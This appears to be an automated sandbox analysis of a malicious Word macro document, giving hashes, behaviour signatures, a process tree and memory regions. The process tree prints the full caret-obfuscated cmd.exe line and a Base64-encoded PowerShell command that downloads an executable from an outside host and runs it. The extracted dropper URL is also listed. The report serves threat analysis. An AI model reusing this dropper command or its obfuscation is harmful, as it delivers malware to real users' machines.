Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 13:08

General

  • Target

    5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc

  • Size

    84KB

  • MD5

    5f3d34aca12056cbef02b051e68146ad

  • SHA1

    d1e324a682e84863f7fb150d234b77565d43f82f

  • SHA256

    28e9afdcd0f2797bad432d7ff1299afbf85306c4585b0b292f68c2996bf0b8bc

  • SHA512

    9b8349de30c15c0942f19e0d9207da953390e7c327ccf880cdb228753a8ea1fc64905ec7148c158320317096e31a3dc4140f0875a6d26797fa1850a0aacf1699

  • SSDEEP

    1536:tAP5iWGjmHPUVPVAeGVfDx8yqDY3QnTe:gKwU6NDx8dT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://yaticaterm.com/TYJ/wwnox.php?l=juxe8.xap

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2620
      • C:\Windows\SysWOW64\cMd.eXe
        cMd.eXe /c p^o^w^e^r^s^h^E^L^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^c^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^c^A^d^w^B^u^A^G^8^A^e^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^3^A^D^I^A^N^w^B^l^A^D^M^A^N^Q^A^3^A^D^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^w^A^y^A^D^c^A^Z^Q^A^z^A^D^U^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^d^A^A^=
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:904
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershELL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB5AGEAdABpAGMAYQB0AGUAcgBtAC4AYwBvAG0ALwBUAFkASgAvAHcAdwBuAG8AeAAuAHAAaABwAD8AbAA9AGoAdQB4AGUAOAAuAHgAYQBwACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAA3ADIANwBlADMANQA3ADEALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwANwAyADcAZQAzADUANwAxAC4AZQB4AGUAJwA7ACAARQB4AGkAdAA=
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1692

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      478628b1988da5184b06c3ac4bbec1e5

      SHA1

      e292dc4e1c9389981ae86a28c2aa600b40b0cbc1

      SHA256

      cc8b94b6997f52b806a81fac51a7f2aa2233c5edfa8a8a242ff40d3197204e84

      SHA512

      d09f6ef1ff2fb75d16bf488253c13230ede0545db53353585ca118a9549985ca480bfce7d0afa0db9a1a50f39928d88e46c2ed890c35bb4732e773c26e0510ac

    • memory/2120-13-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-16-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-11-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/2120-0-0x000000002F1F1000-0x000000002F1F2000-memory.dmp

      Filesize

      4KB

    • memory/2120-12-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-15-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-2-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/2120-17-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-18-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-14-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-19-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2120-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2120-36-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2120-37-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/2120-38-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB